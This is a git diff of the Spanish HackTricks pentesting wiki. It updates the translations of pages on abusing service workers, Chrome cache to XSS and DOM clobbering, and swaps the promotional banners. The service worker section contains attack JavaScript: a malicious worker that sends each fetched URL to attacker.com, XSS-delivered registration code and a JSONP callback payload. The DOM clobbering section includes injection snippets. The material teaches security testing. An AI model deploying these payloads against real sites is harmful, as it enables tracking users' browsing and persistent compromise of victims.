Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Abusando de los Service Workers
|
||||
|
||||
# Abusing Service Workers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,32 +25,31 @@
|
|||
|
||||
## Información Básica
|
||||
|
||||
Un **service worker** es un script ejecutado por tu navegador en segundo plano, independiente de cualquier página web, que permite funciones que no requieren una página web o interacción del usuario, mejorando así las capacidades de **procesamiento sin conexión y en segundo plano**. Puedes encontrar información detallada sobre los service workers [aquí](https://developers.google.com/web/fundamentals/primers/service-workers). Al explotar los service workers dentro de un dominio web vulnerable, los atacantes pueden obtener control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.
|
||||
Un **service worker** es un script ejecutado por tu navegador en segundo plano, separado de cualquier página web, que permite características que no requieren una página web o interacción del usuario, mejorando así las capacidades de **procesamiento en segundo plano y fuera de línea**. Se puede encontrar información detallada sobre los service workers [aquí](https://developers.google.com/web/fundamentals/primers/service-workers). Al explotar service workers dentro de un dominio web vulnerable, los atacantes pueden tomar control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.
|
||||
|
||||
### Comprobando Service Workers Existentes
|
||||
|
||||
### Verificación de Service Workers Existentes
|
||||
|
||||
Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña de **Application** en las **Developer Tools**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para obtener una vista más detallada.
|
||||
Los service workers existentes se pueden comprobar en la sección de **Service Workers** de la pestaña **Application** en **Developer Tools**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para una vista más detallada.
|
||||
|
||||
### Notificaciones Push
|
||||
|
||||
Las **permisos de notificaciones push** impactan directamente la capacidad de un **service worker** para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.
|
||||
Los **permisos de notificación push** impactan directamente en la capacidad de un **service worker** para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.
|
||||
|
||||
## Ataque Creando un Service Worker
|
||||
|
||||
Para explotar esta vulnerabilidad necesitas encontrar:
|
||||
|
||||
* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido
|
||||
* Una **solicitud JSONP vulnerable** donde puedas **manipular la salida (con código JS arbitrario)** y un **XSS** para **cargar el JSONP con un payload** que **cargará un service worker malicioso**.
|
||||
* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido.
|
||||
* Una **solicitud JSONP vulnerable** donde puedas **manipular la salida (con código JS arbitrario)** y un **XSS** para **cargar el JSONP con una carga útil** que **cargará un service worker malicioso**.
|
||||
|
||||
En el siguiente ejemplo voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor de los atacantes cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una respuesta **JSONP vulnerable**):
|
||||
En el siguiente ejemplo voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor del atacante cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una respuesta **JSONP vulnerable**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
Y este es el código que **registrará el worker** (el código que deberías poder ejecutar abusando de un **XSS**). En este caso, se enviará una solicitud **GET** al servidor de los **atacantes** notificando si el **registro** del service worker fue exitoso o no:
|
||||
Y este es el código que **registrará el trabajador** (el código que deberías poder ejecutar abusando de un **XSS**). En este caso, se enviará una solicitud **GET** al servidor de los **atacantes** **notificando** si la **registración** del trabajador de servicio fue exitosa o no:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -67,21 +67,21 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
En caso de abusar de un punto final JSONP vulnerable, debes colocar el valor dentro de `var sw`. Por ejemplo:
|
||||
En caso de abusar de un endpoint JSONP vulnerable, deberías poner el valor dentro de `var sw`. Por ejemplo:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Existe un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
|
||||
Hay un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
|
||||
|
||||
La directiva de **caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida del Script del SW (TTL). También se recomienda a los desarrolladores crear un [**interruptor de apagado del service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
La **directiva de caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un [**kill-switch para service workers**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
|
||||
## Abusando de `importScripts` en un SW a través de DOM Clobbering
|
||||
|
||||
La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama usando un **parámetro que un atacante podría** modificar, podría **importar un script JS desde su dominio** y obtener XSS.
|
||||
La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama utilizando un **parámetro que un atacante podría** modificar, podría **importar un script JS de su dominio** y obtener XSS.
|
||||
|
||||
**Esto incluso evade las protecciones CSP.**
|
||||
**Esto incluso elude las protecciones CSP.**
|
||||
|
||||
**Código vulnerable de ejemplo:**
|
||||
**Ejemplo de código vulnerable:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -99,15 +99,15 @@ self.importScripts(host + "/sw_extra.js");
|
|||
```
|
||||
### Con DOM Clobbering
|
||||
|
||||
Para obtener más información sobre qué es el DOM Clobbering, consulta:
|
||||
Para más información sobre qué es DOM Clobbering, consulta:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si la URL/dominio que el SW está utilizando para llamar a **`importScripts`** está **dentro de un elemento HTML**, es **posible modificarlo a través de DOM Clobbering** para hacer que el SW **cargue un script desde tu propio dominio**.
|
||||
Si la URL/dominio que el SW está utilizando para llamar a **`importScripts`** está **dentro de un elemento HTML**, es **posible modificarlo a través de DOM Clobbering** para hacer que el SW **cargue un script de tu propio dominio**.
|
||||
|
||||
Para ver un ejemplo de esto, consulta el enlace de referencia.
|
||||
Para un ejemplo de esto, consulta el enlace de referencia.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -119,14 +119,17 @@ Para ver un ejemplo de esto, consulta el enlace de referencia.
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,50 +1,55 @@
|
|||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Más detalles en [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
Más detalles [**en este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
La técnica discutida aquí implica comprender el comportamiento y la interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. El bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en cambio, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos usando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
|
||||
La técnica discutida aquí implica entender el comportamiento e interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. La bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos usando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
|
||||
|
||||
### Puntos Clave:
|
||||
|
||||
- El **bfcache** tiene precedencia sobre la caché de disco en las navegaciones de retroceso/avance.
|
||||
- Para utilizar una página almacenada en la caché de disco en lugar del bfcache, este último debe estar deshabilitado.
|
||||
- La **bfcache** tiene precedencia sobre la caché de disco en las navegaciones de retroceso/avance.
|
||||
- Para utilizar una página almacenada en la caché de disco en lugar de la bfcache, esta última debe ser desactivada.
|
||||
|
||||
### Deshabilitar bfcache:
|
||||
### Desactivando bfcache:
|
||||
|
||||
Por defecto, Puppeteer deshabilita el bfcache, alineándose con las condiciones enumeradas en la documentación de Chromium. Un método efectivo para deshabilitar el bfcache es a través del uso de `RelatedActiveContentsExist`, logrado abriendo una página con `window.open()` que retiene una referencia a `window.opener`.
|
||||
Por defecto, Puppeteer desactiva bfcache, alineándose con las condiciones listadas en la documentación de Chromium. Un método efectivo para desactivar bfcache es a través del uso de `RelatedActiveContentsExist`, logrado al abrir una página con `window.open()` que retiene una referencia a `window.opener`.
|
||||
|
||||
### Reproducir el comportamiento:
|
||||
### Reproduciendo el comportamiento:
|
||||
|
||||
1. Visita una página web, por ejemplo, `https://example.com`.
|
||||
2. Ejecuta `open("http://spanote.seccon.games:3000/api/token")`, lo que resulta en una respuesta del servidor con un código de estado 500.
|
||||
3. En la pestaña recién abierta, navega a `http://spanote.seccon.games:3000/`. Esta acción almacena la respuesta de `http://spanote.seccon.games:3000/api/token` como una caché de disco.
|
||||
4. Usa `history.back()` para retroceder. La acción resulta en la renderización de la respuesta JSON almacenada en la página.
|
||||
3. En la nueva pestaña abierta, navega a `http://spanote.seccon.games:3000/`. Esta acción almacena en caché la respuesta de `http://spanote.seccon.games:3000/api/token` como una caché de disco.
|
||||
4. Usa `history.back()` para navegar hacia atrás. La acción resulta en la renderización de la respuesta JSON almacenada en caché en la página.
|
||||
|
||||
La confirmación de que se utilizó la caché de disco se puede verificar mediante el uso de DevTools en Google Chrome.
|
||||
La verificación de que se utilizó la caché de disco se puede confirmar a través del uso de DevTools en Google Chrome.
|
||||
|
||||
Para más detalles sobre bfcache y caché de disco, se pueden encontrar referencias en [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) y en [los documentos de diseño de Chromium sobre caché de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente.
|
||||
Para más detalles sobre bfcache y caché de disco, se pueden encontrar referencias en [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) y [documentos de diseño de Chromium sobre caché de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,30 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Conceptos básicos**
|
||||
## **Basics**
|
||||
|
||||
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**Solo** ciertos elementos pueden usar el atributo **name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
|
||||
**Solo** ciertos elementos pueden usar el **atributo name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
|
||||
|
||||
Curiosamente, cuando usas un **elemento de formulario** para **clobber** una variable, obtendrás el valor de **`toString`** del propio elemento: `[object HTMLFormElement]` pero con el **ancla** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobberizas usando la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
|
||||
Curiosamente, cuando usas un **elemento form** para **clobber** una variable, obtendrás el valor **`toString`** del elemento en sí: `[object HTMLFormElement]` pero con **anchor** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobber usando la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
|
@ -30,7 +33,7 @@ console.log(x);//controlled string
|
|||
```
|
||||
### Arrays & Attributes
|
||||
|
||||
También es posible **sobrescribir un array** y **atributos de un objeto**:
|
||||
También es posible **sobrescribir un array** y **atributos de objetos**:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
|
||||
Para sobrescribir **un 3er atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
@ -47,14 +50,14 @@ Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
Sobrescribir más atributos es **más complicado pero aún posible**, utilizando iframes:
|
||||
Clobbering más atributos es **más complicado pero aún posible**, usando iframes:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizar**. Sin ella, verás una alerta de **indefinido**.
|
||||
La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizarse**. Sin ella, encontrarás una alerta de **undefined**.
|
||||
{% endhint %}
|
||||
|
||||
Para sobrescribir atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
|
||||
|
@ -65,9 +68,9 @@ Para sobrescribir atributos más profundos, puedes usar **iframes con codificaci
|
|||
